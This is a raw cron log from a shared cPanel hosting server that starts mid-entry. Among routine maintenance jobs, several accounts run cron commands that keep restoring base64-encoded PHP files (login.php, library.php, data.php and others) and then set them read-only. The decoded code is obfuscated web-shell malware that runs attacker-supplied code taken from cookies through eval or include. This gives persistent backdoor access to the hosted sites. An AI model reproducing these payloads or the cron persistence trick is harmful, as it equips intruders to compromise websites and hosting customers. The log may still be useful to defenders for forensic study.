CgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:15:02 medusa CROND[28061]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:15:02 medusa CROND[28062]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:15:02 medusa CROND[28063]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:15:02 medusa CROND[28064]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:15:02 medusa CROND[28066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:15:02 medusa CROND[28067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:15:02 medusa CROND[28068]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:15:02 medusa CROND[28072]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:15:02 medusa CROND[28093]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:15:02 medusa CROND[28094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:15:02 medusa CROND[28086]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:15:02 medusa CROND[28084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:15:02 medusa CROND[28097]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:15:02 medusa CROND[28100]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:15:02 medusa CROND[28101]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:15:02 medusa CROND[28099]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 10:15:02 medusa CROND[28085]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:15:02 medusa CROND[28102]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:15:02 medusa CROND[28104]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:15:02 medusa CROND[28106]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:15:02 medusa CROND[28107]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:15:02 medusa CROND[28095]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:15:02 medusa CROND[28114]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 10:15:02 medusa CROND[28115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:16:02 medusa CROND[13631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:16:02 medusa CROND[13634]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:16:02 medusa CROND[13632]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:16:02 medusa CROND[13633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:16:02 medusa CROND[13635]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:16:02 medusa CROND[13636]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:16:02 medusa CROND[13639]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:16:02 medusa CROND[13643]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:16:02 medusa CROND[13642]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:16:02 medusa CROND[13645]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:16:02 medusa CROND[13647]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:16:02 medusa CROND[13653]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:16:02 medusa CROND[13651]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:16:02 medusa CROND[13661]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:17:02 medusa CROND[502]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:17:02 medusa CROND[509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:17:02 medusa CROND[510]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:17:02 medusa CROND[511]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:17:02 medusa CROND[513]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:17:02 medusa CROND[515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
